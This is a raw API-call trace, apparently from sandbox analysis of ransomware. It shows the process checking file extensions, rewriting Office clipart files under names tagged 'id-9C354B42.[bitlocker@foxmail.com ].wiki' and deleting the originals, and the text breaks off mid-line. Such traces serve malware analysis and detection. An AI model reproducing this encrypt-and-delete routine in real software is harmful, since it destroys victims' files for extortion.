lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.830] lstrlenW (lpString=".dbf") returned 4 [0186.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.831] lstrlenW (lpString=".1cd") returned 4 [0186.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.831] lstrlenW (lpString=".jpg") returned 4 [0186.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.831] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.831] lstrlenW (lpString="DD00121_.WMF") returned 12 [0186.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.831] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8256) returned 1 [0186.831] CloseHandle (hObject=0x1e4) returned 1 [0186.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0186.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.832] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.832] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.832] GetLastError () returned 0x0 [0186.832] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2040, lpOverlapped=0x0) returned 1 [0186.834] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2050, lpOverlapped=0x0) returned 1 [0186.835] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.835] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.835] SetEndOfFile (hFile=0x1c8) returned 1 [0186.835] CloseHandle (hObject=0x1c8) returned 1 [0186.836] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.836] SetEndOfFile (hFile=0x1e4) returned 1 [0186.836] CloseHandle (hObject=0x1e4) returned 1 [0186.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0186.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.837] lstrlenW (lpString=".doc") returned 4 [0186.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.837] lstrlenW (lpString=".docx") returned 5 [0186.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.837] lstrlenW (lpString=".pdf") returned 4 [0186.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.837] lstrlenW (lpString=".xls") returned 4 [0186.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.837] lstrlenW (lpString=".xlsx") returned 5 [0186.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.837] lstrlenW (lpString=".ppt") returned 4 [0186.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.837] lstrlenW (lpString=".zip") returned 4 [0186.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.837] lstrlenW (lpString=".rar") returned 4 [0186.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.837] lstrlenW (lpString=".bz2") returned 4 [0186.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.837] lstrlenW (lpString=".7z") returned 3 [0186.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.837] lstrlenW (lpString=".dbf") returned 4 [0186.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.838] lstrlenW (lpString=".1cd") returned 4 [0186.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.838] lstrlenW (lpString=".jpg") returned 4 [0186.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.838] lstrlenW (lpString=".doc") returned 4 [0186.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString=".docx") returned 5 [0186.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.838] lstrlenW (lpString=".pdf") returned 4 [0186.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString=".xls") returned 4 [0186.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.838] lstrlenW (lpString=".xlsx") returned 5 [0186.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.838] lstrlenW (lpString=".ppt") returned 4 [0186.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.838] lstrlenW (lpString=".zip") returned 4 [0186.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.838] lstrlenW (lpString=".rar") returned 4 [0186.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString=".bz2") returned 4 [0186.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.838] lstrlenW (lpString=".7z") returned 3 [0186.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.838] lstrlenW (lpString=".dbf") returned 4 [0186.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.839] lstrlenW (lpString=".1cd") returned 4 [0186.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0186.839] lstrlenW (lpString=".jpg") returned 4 [0186.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.839] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.839] lstrlenW (lpString="DD00234_.WMF") returned 12 [0186.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.839] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=29628) returned 1 [0186.839] CloseHandle (hObject=0x1e4) returned 1 [0186.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0186.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.840] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.840] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.840] GetLastError () returned 0x0 [0186.840] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x73bc, lpOverlapped=0x0) returned 1 [0186.842] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0186.843] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.843] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.843] SetEndOfFile (hFile=0x1c8) returned 1 [0186.844] CloseHandle (hObject=0x1c8) returned 1 [0186.844] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.844] SetEndOfFile (hFile=0x1e4) returned 1 [0186.845] CloseHandle (hObject=0x1e4) returned 1 [0186.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0186.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.845] lstrlenW (lpString=".doc") returned 4 [0186.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.845] lstrlenW (lpString=".docx") returned 5 [0186.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.845] lstrlenW (lpString=".pdf") returned 4 [0186.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.845] lstrlenW (lpString=".xls") returned 4 [0186.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.845] lstrlenW (lpString=".xlsx") returned 5 [0186.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.845] lstrlenW (lpString=".ppt") returned 4 [0186.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString=".zip") returned 4 [0186.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.846] lstrlenW (lpString=".rar") returned 4 [0186.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString=".bz2") returned 4 [0186.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString=".7z") returned 3 [0186.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString=".dbf") returned 4 [0186.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString=".1cd") returned 4 [0186.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString=".jpg") returned 4 [0186.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString=".doc") returned 4 [0186.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString=".docx") returned 5 [0186.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.846] lstrlenW (lpString=".pdf") returned 4 [0186.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString=".xls") returned 4 [0186.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.846] lstrlenW (lpString=".xlsx") returned 5 [0186.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.846] lstrlenW (lpString=".ppt") returned 4 [0186.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.846] lstrlenW (lpString=".zip") returned 4 [0186.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.847] lstrlenW (lpString=".rar") returned 4 [0186.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString=".bz2") returned 4 [0186.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString=".7z") returned 3 [0186.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.847] lstrlenW (lpString=".dbf") returned 4 [0186.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.847] lstrlenW (lpString=".1cd") returned 4 [0186.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0186.847] lstrlenW (lpString=".jpg") returned 4 [0186.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.847] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.847] lstrlenW (lpString="DD00255_.WMF") returned 12 [0186.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.848] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2690) returned 1 [0186.848] CloseHandle (hObject=0x1e4) returned 1 [0186.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0186.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.848] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.848] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.848] GetLastError () returned 0x0 [0186.848] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xa82, lpOverlapped=0x0) returned 1 [0186.850] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa90, lpOverlapped=0x0) returned 1 [0186.851] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.851] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.851] SetEndOfFile (hFile=0x1c8) returned 1 [0186.851] CloseHandle (hObject=0x1c8) returned 1 [0186.851] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.851] SetEndOfFile (hFile=0x1e4) returned 1 [0186.852] CloseHandle (hObject=0x1e4) returned 1 [0186.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0186.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.852] lstrlenW (lpString=".doc") returned 4 [0186.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString=".docx") returned 5 [0186.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.853] lstrlenW (lpString=".pdf") returned 4 [0186.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString=".xls") returned 4 [0186.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.853] lstrlenW (lpString=".xlsx") returned 5 [0186.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.853] lstrlenW (lpString=".ppt") returned 4 [0186.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.853] lstrlenW (lpString=".zip") returned 4 [0186.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.853] lstrlenW (lpString=".rar") returned 4 [0186.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString=".bz2") returned 4 [0186.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString=".7z") returned 3 [0186.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.853] lstrlenW (lpString=".dbf") returned 4 [0186.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.853] lstrlenW (lpString=".1cd") returned 4 [0186.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.853] lstrlenW (lpString=".jpg") returned 4 [0186.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.854] lstrlenW (lpString=".doc") returned 4 [0186.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString=".docx") returned 5 [0186.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.854] lstrlenW (lpString=".pdf") returned 4 [0186.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString=".xls") returned 4 [0186.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.854] lstrlenW (lpString=".xlsx") returned 5 [0186.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.854] lstrlenW (lpString=".ppt") returned 4 [0186.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.854] lstrlenW (lpString=".zip") returned 4 [0186.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.854] lstrlenW (lpString=".rar") returned 4 [0186.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString=".bz2") returned 4 [0186.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString=".7z") returned 3 [0186.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.854] lstrlenW (lpString=".dbf") returned 4 [0186.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.854] lstrlenW (lpString=".1cd") returned 4 [0186.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.854] lstrlenW (lpString="C:\\Program Files\\Microsoft 